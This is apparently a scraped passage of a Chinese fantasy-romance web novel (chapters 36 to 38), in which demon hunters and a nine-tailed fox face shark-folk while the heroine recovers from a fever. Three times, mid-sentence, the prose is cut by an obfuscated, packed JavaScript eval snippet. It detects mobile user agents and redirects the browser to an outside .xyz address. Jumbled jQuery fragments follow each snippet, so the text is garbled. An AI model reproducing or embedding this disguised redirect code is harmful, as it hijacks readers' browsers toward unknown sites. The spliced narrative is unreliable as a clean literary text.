恰在这时,门外传来急促的脚步声,还夹杂着几声刀剑挥舞的声响,有人正往这里赶来。 他面无表情地回过头去,满头大汗喘着粗气的锦衣少年解决了拦路碍事的无乐门的黑衣人,抬头与他面面相对,一男一女跟在他身后进来。 他认出来那是鲛人和九尾狐,门主原本盯上的大妖,准备事成之后夺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14846333|150747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 取妖丹。 江遗大概没想到他会是这样的表情,目光稍显迟疑,可见到床榻上的冉云祉之时,着急地上前将他推到一边,快步行至床榻边。 被推开的人一个踉跄,神情十分不耐:“你干什么?” 江遗却没有回答他,而是神情紧张地探了探冉云祉的额头。 “怎么把自己搞成这个样子,不应该啊。”他从怀里摸出几张符纸,手指都因担忧几乎握不稳了,三两下贴到她身上。 他迅速念着咒语,能用的灵珠丹药法器都用上,好半天才稳住她的体温。 江遗松了口气,旋即回头怒视着白色人影,上前揪住了他的衣领:“你就这样无动于衷?你没看到她已经烧成了这个样子!会不会照顾人?她会死的你知不知道?” 他越说越生气,显然没有认出面前的人根本不是烛乐,不管不顾指着他劈头盖脸地骂道:“你没有心吗?你被鲛人带走,她一个柔弱的女孩子担心地跑去烈海找你!如今她身上都是血,你身上干干净净的什么都没有,你就这样任由她受伤?你算什么男人?” 身后跟来的岑鱼上前一步缓和气氛,将她在烈海中所见的一切道来。 不管怎么说,这两位都是她的救命恩人,她将烈海中烛乐是如何保护她,又将冉云祉是如何耗尽灵泉玉的事情讲出来。然而江遗的脸色却因为她的解释更加难看,更无端生出一抹怨气。 “凭什么让她去赌救你啊!” “如果不是我提前回来,你是不是就这样任由她被灵泉玉反噬死掉!” “你这样冷漠无情的人,有什么救的必要吗!” 空荡的房间里尽是江遗字字句句的指控,萧蓝却一副不愿多说的样子,甚至有些不耐烦了。 他将江遗推开,神情散漫地轻轻抚着被他抓出来的褶皱,好像他的怒火与他无关。 江遗气更不打一处来:“你这是什么意思?你觉得我说的不对?” 他眼里的烛乐俨然成了一个无情无义的男人,身份低微的穷人不懂得感恩,不珍视别人的情义,他一直都这样认为的。 萧蓝不说话不反驳,江遗权当他默认了,但他左说右说这人无动于衷,一拳打在棉花上,想要狠狠甩他一个巴掌,却被岑鱼拦住:“还是先看看那位姑娘的情况吧。” 烛乐给他的灵力已经散去了,冉云祉烧的全无意识,嘴唇苍白干裂,好像随时就会死去。 这短短的时间,怎么又压不住了。 “到底怎么回事?”江遗有些手足无措了,他不修医道,眼下这种情况他没有任何办法。 要眼睁睁看着她就这样死吗?一向桀骜不驯的少年流露出一丝惶恐不安的情绪,对烛乐的怨念更深了。 如果没有他,她就不会这样了。 “我来吧。”辛尧站到床边,示意岑鱼将冉云祉胸前的灵泉玉展露出来,为其注入自己的妖力。 神物既是妖物,反噬如此厉害,无非是她自身的能量无法供给灵泉玉,而九尾狐妖力强大,可替她向灵泉玉抵挡自身消耗的能量。 “对了,我怎么没想到!”岑鱼一拍脑袋,“我也来!”说罢也将一分妖力注入灵泉玉中。 两股力量交织,灵泉玉发出淡淡的光晕。冉云祉的脸色看起来缓和了不少,江遗的神色总算放松下来:“多谢。” “她救了我,这些都是应该的。”岑鱼脸上浮现出一个笑容,她没有刻意伪装媚笑的时候,笑容纯净自然。 被众人忘之脑后的萧蓝看到这一幕,眸色渐暗,却也深知不能再出手了。 “烛乐公子,你去哪里?”耳畔听得岑鱼的惊呼,白衣人影已夺门而出。 江遗冷哼了一声,只当他是心虚:“让他走,有本事再也不回来啊!” 说完他还是觉得不甘心,追到窗边,向着那抹离去的白色身影大喊:“这么喜欢鲛人泪是吧,有本事拿到鲛人泪回来,否则,你就再也别回来丢人现眼!” 37.绝境(七) 冉云祉像陷入陷入一场深沉的噩梦,一瞬间被抛入熔炉里无法呼吸,就连骨头都要融化,几乎死于这份灼热。 有人在她耳边说着话,丝丝缕缕的凉意渐渐涌遍全身,她梦见了很多人,很多事,但画面最终定格,是一身血色的少年,捧着她的脸对她说话。 “不会让你死。” 眼下并没有到冬天,十月末尾的海岸,他的手却比大漠的雪天还要冷。 这样的冷让她想起了那个总是身穿黑衣隐于黑夜里阴晴不定的男人。 冉云祉睁开眼睛,纯白色纱帐之外,刺眼的阳光灼烧得她有些晕眩,一瞬间不知自己身在何方。 手指狠狠掐了一下自己的手心,那里回馈给自己清晰的痛楚,她伸手遮挡着阳光,后怕又庆幸地感叹一句:真是福大命大,自己还活着。 她这一动,趴在床边熟睡的冉云清下意识摸上她的额头,嘴里念叨着:“还好还好,不烧了。” 她与戴苍在烈海中处理完无乐设下的冰鲨怪物赶去深海裂隙的时候,海水恢复成原本纯净的蓝色,裂隙已经闭合,他们已经失去了夺取鲛人泪的机会。 无乐失去联系前的最后一个位置是在裂隙四周,不知是否因为他的位置脱离了系统感应的范围,还是别的什么屏蔽了干扰,亦或是他已经死在了烈海之中,总之,她无法感应到他。 两人略一思忖,留在那里也无济于事,天际将明之时回到客栈,一回来便听说了阿祉差点因反噬而死去的事情,吓得她什么都顾不上守到现在将将阖眼。 想到这里,冉云祉不得不摆出一副长姐的威严来:“阿祉,我一个没看住你,你又乱来!透支灵泉玉的能量,你是不是想活活烧死?” 她清冷淡漠的脸上流露出一丝担忧与后怕,从不轻易表露心意的她紧紧抓住冉云祉的手微微发抖。 她真真正正把阿祉当成了自己的妹妹看待,宠着她,护着她的天真善良。自己已经没有简单的快乐了,决不能让阿祉遭受这个世界的侵害。 如果阿祉不在了,没有人会与她聊自己的心事与秘密,聊她心底最隐秘的痛,在这个世界就是孤身一个人了。 她的手被反握住,冉云祉清亮的眸子望着她,第一个字出口的时候,已是沙哑万分:“我这不是没事嘛,不要担心。” 喉咙很痛,说话时像含了刀子一般难受,她极力忍住这股灼烧的痛意:“姐姐,我怕烛乐……” 咳意上涌,她清了清嗓子,冉云清为她递上一杯水,在她身后垫了个靠枕,眉头紧紧皱起,犹豫许久才郑重道:“阿祉,你先别说话,我有件事情要告诉你,关于烛乐的事。” 从未见到冉云清如此严肃的神情,冉云祉拿着杯子的手抖了一抖,几乎要摔到地上,抬眸不安地望向她。 回想起失去意识前的一刻,他为了保护她,被长戟刺穿身躯,身上流了那么多的血。 他还好吗?会不会来不及,会不会没有救下他? “烛乐是不是出事了?”她狠狠咬着唇,手指悄悄的攥紧了,不敢听冉云清的话,像坐在刑场的刽子手害怕那把闸刀砍下来。 “他……”冉云清斟酌着语句,刚要向她说出烛乐就是无乐的猜测,门外忽地传来一声轻嗤。 他这一声打破了原本略有些凝重的气氛,两人的视线望过去,江遗大步流星地进入房门,狠狠地将药碗摔在桌子上,咬牙切齿:“你们还关心他做什么?那个混蛋就那么看着你高烧,我不过是教训了他几句,这小子到现在都没有回来。” 冉云清抓住他话语里的重点问道:“等一下,你说你见到烛乐了,是什么时候的事?” “就昨晚与你们分别回来的时候啊!”一想到白衣少年高高在上没事人一样冷眼旁观他们的狼狈,眼底浮现的那抹不加掩饰的嘲讽,他就格外来气,语气也毫不客气:“不止我看见了,九尾狐和鲛人都看见了。” 冉云清低下头来思忖片刻,据她所知,无乐一直没有离开过烈海,而烛乐却出现在客栈,难不成他们误会了烛乐? 衣角被轻轻拉了一下,对上冉云祉的视线,她叹了口气:“无事,既然他跟你在一起……那便是我想多了。” 若他真的是无乐,不会有耐心照顾阿祉的。 冉云祉呼出一口气,看来他没事。 紧绷的情绪松懈下来,转头问江遗:“你说他什么了?” “不就是骂了他几句不算男人,然后放狠话有本事去拿鲛人泪……”他端来药碗坐在床边,正准备喂她吃药,冉云祉瞪大了双眼。 “你说这话,岂不是让他去送死?”她刚说完,便开始剧烈的咳嗽,咳到脸色通红,正想开口再说什么,江遗直接一张噤声符纸贴上去,她再也发不出声音了。 他抿着唇,一口汤药送至她嘴边:“你都这样了还关心别人?从现在开始喝药,不准你说话了。” 一边喂药一边小声嘀咕:“我这出来一趟,符纸基本上都用在了你身上,你说,你拿什么赔我?” 冉云祉自然不会回答他,此刻她嘴唇翕动,却一个字也说不出,只能用一双眼睛狠狠地瞪着他以示抗议,嘴里又被江遗塞了一勺子汤药。 “不还我十几张灵泉玉做成的符纸都是对不起我。” 连喂药他都不消停,一边絮絮叨叨:“不过,你还是不说话的好,不说话才显得恬静温柔。” 汤药实在太苦,她用手去挡,口中发不出声音,手脚没有力气,她眼巴巴地望向冉云清。 冉云清瞧见这一幕轻笑,从床边拿了一颗蜜饯递到她嘴里:“江公子,照顾人可不是这样的。” 对,这是明目张胆的虐待!冉云祉用眼神表示强烈谴责。 江遗气鼓鼓:“这还是小爷我第一次伺候人,知足吧你。” 冉云祉哼哼几声,心想着,果然还是烛乐温柔细致,会照顾人,他在的话…… 哎呀她脑子里怎么都是烛乐啊。 她这副心不在焉的样子落到冉云清眼中,让她无声的叹了一口气,离开房门时留下一句:“我们会把烛乐找回来的,你不要担心,安心休养就是。” 冉云清喝完药,又吃了些糕点,身体还没彻底恢复又睡了过去,睡到晌午时,听到门外几声齐齐而来的脚步声,她一个激灵,睁开眼睛从床上爬起来。 就算她在屋子里关着房门,她也依然闻到一抹不能忽视的腥咸味道,这味道太熟悉,是烈海里鲛人的气息。 冉云祉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14861576|150747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 并不知道,先前他们被烛乐灵力制成的冰笼困在原地,如果他不亲手去破坏这些鲛人根本逃脱不得。 如今他们出现在这里有两种可能,一是灵力的主人因为某种原因或是灵力尽散或是身死无力维持,二是有熟悉他灵力的人替鲛人破开法阵。 她听见客栈伙计略有些慌乱的声音:“几位爷,这是干什么呀,我们这做的是小本……” “废话那么多干什么,我们找人,再拦一下把你砍了信不信?”一声粗犷很凶的声音回荡在走廊上,伴随着刀剑砍在柱子上的声音,他们似乎是亮了兵器。 听不见伙计的声音,他应该是被吓住了,只听到越来越近的脚步声,还有粗鲁推开隔壁房门的声响。 他们追来了?这群鲛人就这样明目张胆的暴露在人群中?这里的人都是普通的人类,刀剑无情,若是他们失手…… 眼下姐姐与三殿下去寻烛乐了,而她手里并没有武器,身上所剩的符纸都悄悄塞给了烛乐……似乎她能依靠的,只有江遗。 她正在思考着对策,脚步声已经到了他的门口,而他们却突然止住了。 “让开。”是鲛人一声粗鲁的暴喝。 少年语调散漫,透着不容忽视的自信与张扬:“我若是不让呢?” “挡我们者,死路一条!” 又是一声刀剑划过的声响,片刻后那粗犷凶狠的声音带着骇然:“你……你是捉妖师?” 冉云祉透过门缝悄悄望去,只见几个赤脚男人手持刀剑站在门外。 像岑鱼一样,只要在陆地上,他们会化出人类的双腿,与寻常人类无异。只是他们走过之处,还滴滴答答流淌着海水,显然他们的妖力并不足以完全伪装成人类的模样。 他们的身上,仍可见被符纸烧伤的痕迹。 锦衣少年坐在他们面前的横栏上,一条腿屈膝,一手捏着符纸,声音爽朗:“知道我是捉妖师,还敢乱来,知不知道里面是小爷我护着的人?” 他平时就很高傲,如今可被他逮着机会装到了。 说完他还把口鼻捂住,厌恶道:“你们这些从海里出来的妖物,就老老实实呆在海里,别出来恶心别人,知不知道自己臭不可闻。” 鲛人护卫退了几步,气得脸色通红,抽出弯刀直指他的面门:“所以,你是不让了?” 江遗气定神闲地从衣袖里摸出几张符纸,束起的长发一甩,腰间铃声渐响,从横栏上跳下来,站在门口稳住身形,一字一顿扬声道:“我、不、让!” 两方僵持不下,怒气冲冲对上胸有成竹,一看就是江遗占上风。 冉云祉忍不住在心中对他刮目相看,没想到江遗这小子还有这么有安全感的时候。 只是现在的她手无寸铁,完全帮不上忙,她就躲在这里看看热闹,还是不要出去碍手碍脚。 她正观战看的出神,完全没有注意到身后有一人缓缓靠近,来人无声无息,身体轻的毫无重量,她从一旁的镜中看到模糊的影子,却根本发不出声音呼救。 噤声符的作用还没有失效! 那人趁她没有回头时,在她脖颈飞快劈下,她的视线一黑,脑中想的是—— 江兄啊,你被偷家了不知道吗? 38.绝境(八) 晌午的阳光洒在海滩上,踩在沙子上仍能感受到一模暖意。风声静谧,却不焦躁,本来是一副秋日好精致,可因海滩上黑压压的鲛人,气氛显得格外焦灼。 “你答应过我什么?”鲛人长老自护卫中向前一步,望向被包裹阵的一男一女,“我当年不杀他,你就是这样回报我的?” 辛尧将岑鱼揽到身后,妖身显露,乌黑亮丽的发丝上立着一双金黄狐狸耳,九条尾巴在空中狂乱舞动。 熟悉的场景片段在脑海里缓缓浮现,似乎在很久很久之前,他就是在这里与所爱之人分离。 岑鱼紧紧握住他的衣摆,因恐惧的指尖微微颤抖。 过去,她就是在这里与辛尧分开的。命运如同一个回溯,此情此景,让她遥想起当年。 “不怕。”辛尧温柔地牵住她的手,他的面容因显出妖身而可怖,然而对她说的话却依然温柔如清风。 她稳了稳心神,笑着回应道:“嗯,我不怕。” 有什么好怕的,大不了就是一死。 两方谁都没有上前一步,长老阴森的声音钻入了两人的耳中:“你恢复记忆了?” “无需恢复记忆。”辛尧回应,“我这具躯体的本能告诉我,这就是我要保护的人。” 一时四周静谧无声,海浪声声,掀起三尺高的浪花,将所有的声音都吞没了去。 物转星移,几个春秋过去,太多的人与景色都改变了,但对她的感情无论多久始终依旧,那时被遗忘的记忆再度翻尘出来。 她被拦在守卫之外,望向倒在海滩之上,一身血污的男人。 他那么喜欢干净,儒雅翩翩从不沾染半分尘土,可如今却狼狈地匍匐在地上,那曾经被她捏在手里反复抚摸的九条毛茸茸的尾巴被脏臭的海水打湿了,无力的耷拉在身侧,黯淡无光。 “我跟你们回去,不要杀他!”她苦苦哀求着。 “不可以!”九尾狐红着眼睛,一双拳头被他捏起,挣扎着爬起来,可他刚刚撑起身子,身旁的鲛人又给予他重重一击,他再次摔倒在地。 昔日令人闻风丧胆的大妖九尾狐灵力半点不剩,被一只鲛人小喽啰肆意踩在地上凌辱。 “跟他们回去,再与别的男人生育后代?不,我不允许,你说过你只要我。”他哀哀的望过来一眼,眸中带着视死如归的坚定,手中发力,再次想要挣扎着站起来走到她身边。 鲛人长老灰白的眼睛里尽是冷漠,仿佛再看一个最寻常不过的场景:“你明明知道我们鲛人一族的规矩,公主从来不会只有一个男人,你绝不是唯一,你这又是何必?” 九尾道:“你不会懂。” “我不懂,但我知道不能让你再这样纠缠下去。”说罢他便给周遭的守卫使了一个眼色,刀剑逼近了他。 “不要!”被拦在鲛人族群之外的岑鱼望着这一幕,手心幻化出一株珊瑚,如刀般锋利的珊瑚刃逼近了自己的脖颈。 一向温柔的声音发起狠来,绝望又决绝,“你要是杀了他,我今日便与他死在这里。鲛人一族未来的死活,我不在乎!” “你威胁我?” 岑鱼的珊瑚刃又逼近了些许,眼眸空洞到没有一丝神采,“你我各退一步,我跟你回去,留他一命,清除他的记忆,这样,他不会再来找我。” 长老看了许久似是认同,吩咐下去,刀剑收起,舒缓的歌谣齐齐吟唱出声,响彻在海滩之上。 辛尧的手指慢慢的攥紧了,死死的抵御歌声的侵扰,可他已没有丝毫灵力,惑人心声的音符顺着每一道伤口钻入他的四肢百骸,将一切关于岑鱼的记忆翻涌成浪,他随着海浪起起伏伏,直至坠入温暖的海水之中。 紧握的手指渐渐放松,他慢慢闭上眼睛陷入沉睡。 歌声渐止,世界恢复一片寂静,海滩上已经没有人了。惨白的阳光自白云后显露出来,打在被遗忘在海边全身伤痕的九尾狐身上。 回忆渐止,辛尧妖力外泄到无法抑制。 “阿鱼,你听好。”妖力外泄之时,温馨的午后也刹那间一片灰黑,阳光仿佛被天狗蚕食般一般,徒留下辨不清视野的黑。此刻,那些呼吸、刀剑的声音变得无比清晰,近在耳畔。 辛尧双眸自这片灰黑中闪着红光,甚至比上次迎战之时还要亮。 “如果鲛人族群不改变自己的生存形式,继续沿用那一套迂腐的教条,这样的族群,不该就此延续。不如这个族群彻底毁灭,不复存在。” “如果我要与他们同归于尽,你会陪我吗?”他低下头,温柔地问道。 岑鱼握了握他的手,轻声回道:“我与你,死生与共。” 几条手臂粗的铁链般从四面八方向辛尧缠绕过来,以寻常人难以想象的速度攀上他的四肢及腰际。 他避之不及,那绳子一寸寸收紧,他再度感受到窒息般的痛苦,身子被绳子蛮横地往海水里拖拽。 鲛人不知从何处得来的捆妖绳材料制成这样的锁链,在两人上次企图离开烈海永世不回的时候,便是由它出手制住了大妖九尾。这种东西,再厉害的妖都无法与之抗衡。 然而今天,辛尧并不打算重蹈覆辙。与其被捆妖绳束缚生生耗尽灵气受尽屈辱,他宁愿释放全部的妖力殊死一搏。 身侧响起了岑鱼的歌声,似治愈的良药抚平了他一身的伤痛,他蓦然想起在被遗忘的曾经,在那些孤独抚琴的夜晚,正是有这抹歌声相和,奏出他们对于未来最美好的期许。 海滩上的沙石飞卷而起,扰乱了在场所有人的眼睛,辛尧原本金色的狐狸毛在黑暗中也黯淡无光,九条尾巴随着风沙的律动在空中摇摆。 他想起了与她的很多过往。 “我想像你一样有个名字。”她将一颗海螺放在他的手心,“你说得对,我要为自己而活,不是鲛人公主这一个代号,只是因为我是这个世界独立的生灵,我存在过,我就是我。” “岑鱼……谢谢你给我的名字,以后我便叫岑鱼了。” 我可翻越加诸在身上的重重山峦,绝不囿于一方小小的天地,度过索然无味的一生。 我为鲛人族类的一份子,但我的一生不能只因他们而存在。 他以风沙为刃,将所见的活物割开一道又一道血口,鲛人守卫在沙中痛苦的哀嚎,他得以走到她的身侧,用绑着捆妖绳的手臂牢牢的抱紧了她。 “对不起,我忘记过你。” 当死亡快要到来的那一刻,岑鱼并不觉得害怕,相反,血脉里弥漫着快要解脱的自由。 她知道,一味的忍让退缩只会换来对方变本加厉的欺辱,但她并不想屈从这样的命运,怀着破坏一切腐朽的勇气,只为打破加诸在她身上的桎梏。 直至不死不休。 忽然,她视线的余光里瞥见,纯黑色的天地里,一条持剑的红色身影向这边欺近…… 他身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14871525|150747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上的衣服应该是干干净净的雪色,可那雪却仿佛被鲜血浸透过一样,成了一件鲜红的血衣。 长至及腰的乌黑发丝并未束起,而是散落下来随着风沙狂乱地飞舞在脸颊之上,少年青涩的脸上带着酷寒的冷意,眼底幽蓝色的光束随着发丝的舞动在暗夜里若隐若现,如同一抹鬼火于天幕里长明不熄。 “喂。”他终于开口,端着平稳不带有一丝感情的语调,似乎身体里有其他的灵魂与他齐声呼和,青涩与苍老两种本毫不相干的声音交缠在一起,一出口仿佛五脏六腑都被他狠狠捏在手心搅成碎片。 “你们挡路了。” 他仅用一剑,劈开沉重窒息的黑暗,似乎将这黑罩子撕开一个口子,柔和的光一拥而上吞噬黑暗,漫天的风沙止住,风平浪静,仿佛刚刚的一切都不存在。 破损的血色衣物挂在他身上,凭空描摹着他瘦削的身材,可他站在那里,却凭空给人一股迫人的威压,无人敢动一步,对上他空茫的视线,让人不自觉的想要跪在他的脚底臣服。 “哦,有只罕见的大妖九尾狐呢。”他的语气听起来格外愉悦,嘴角的弧度微微扬起,拖着长剑一步一步来到辛尧面前,手中剑锋抬起他的下巴,眼中蓝光更盛了几分,“把你的妖丹,交给我。” 冰冷,诡异,可怖,残忍,他像一块捂不化的寒冰,没有一丝丝属于人类的情感与恻隐。 辛尧怔了怔,脑中一片空白,下意识服从他的话,手指慢慢靠近自己的心口。 “等等,阿尧你……”岑鱼伸手想要阻拦,那人似乎觉得被打扰格外不耐,低声重复一句:“给我!” “这是……鲛人泪……”她看清了他眼底的是什么,刚要说话,远处几个人影被踢到海岸边上,江遗沉着一张脸怒气冲冲地问:“我问你,你将冉云祉给我带到哪里去了!” 先前嚣张不可一世的鲛人抱头屁滚尿流,连声告饶,“我……我真的不知道……” 江遗气得又踹了他几脚,正好看到面前的几个人影,他擦了擦眼睛,认出这浑身是伤的男人是谁后,惊讶的张大了下巴:“你……你是烛乐?” 原本混乱的神智突然恢复清明,烛乐眼底的诡异蓝光渐渐消散,他茫然的海滩上的一切,似乎不明白刚才发生了什么。 辛尧也从刚才的状态中缓解过来,他捂住心口,口中一片腥甜,喷出一口鲜血。 “阿祉……”烛乐抬头看向江遗,先前空白的表情隐隐透出焦急,“她怎么了?” “你问我,我哪里知道?”江遗厌恶地抱起双臂冷嘲热讽,“你不是满心满眼都是鲛人泪,根本不管她的死活吗?现在摆出这副虚伪的模样给谁看?” 烛乐的眉头微蹙,想说什么,终归没有说出口。 他再度看了这里的人一眼,静静地思考了一会,转身就走。 江遗一愣,没想到他就这么走了,上前扯住他,触碰到他身体的寒凉,微微缩了一下,只当他从外面回来失血太多。 “你这人怎么回事,说几句就听不得,也太小心眼了吧?你又要往哪里去?” 烛乐根本听不懂他在说些什么,甩开他的手道,言简意赅:“我去找她。” “你现在这样,去哪找?怎么找?” 一身鲜血,一身伤口,面色如纸。 “赶紧回去处理一下。” 烛乐却不听劝,避开他伸过来的手:“不用你管。”